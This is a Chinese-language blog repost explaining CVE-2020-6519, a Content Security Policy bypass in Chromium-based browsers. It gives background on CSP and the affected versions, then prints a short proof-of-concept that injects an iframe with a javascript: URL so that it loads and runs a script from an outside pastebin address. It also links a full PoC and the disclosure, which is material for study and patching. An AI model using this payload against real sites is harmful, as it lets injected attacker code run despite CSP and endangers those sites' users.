CVE-2020-6519 Chromium csp策略繞過


csp簡介

CSP 的主要目標是減少和報告 XSS 攻擊 ,XSS 攻擊利用了瀏覽器對於從服務器所獲取的內容的信任。惡意腳本在受害者的瀏覽器中得以運行,因為瀏覽器信任其內容來源,即使有的時候這些腳本並非來自於它本該來的地方。CSP通過指定有效域——即瀏覽器認可的可執行腳本的有效來源——使服務器管理者有能力減少或消除XSS攻擊所依賴的載體。一個CSP兼容的瀏覽器將會僅執行從白名單域獲取到的腳本文件,忽略所有的其他腳本 (包括內聯腳本和HTML的事件處理屬性)。作為一種終極防護形式,始終不允許執行腳本的站點可以選擇全面禁止腳本執行;

CVE-2020-6519

影響范圍

內核 <= 84.0.4147.89
基於Chromium實現的瀏覽器,包括Chrome,windows Edge,不限平台

復現

在設置如下的csp策略時

<meta http-equiv="Content-Security-Policy" content="object-src 'none'; child-src 'none'; script-src 'self' 'unsafe-inline'">

設置如下的script標簽,是無法運行的

因為csp的策略,導致無法加載非本服務器的js腳本。

繞過方法,可以使用iframe標簽,src為javascript協議去繞過csp策略。如圖

top._CVE_URL='https://pastebin.com/raw/dw5cWGK6'

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'>;</iframe>"

完成poc

https://github.com/PerimeterX/CVE-2020-6519/tree/master/POC

參考

https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM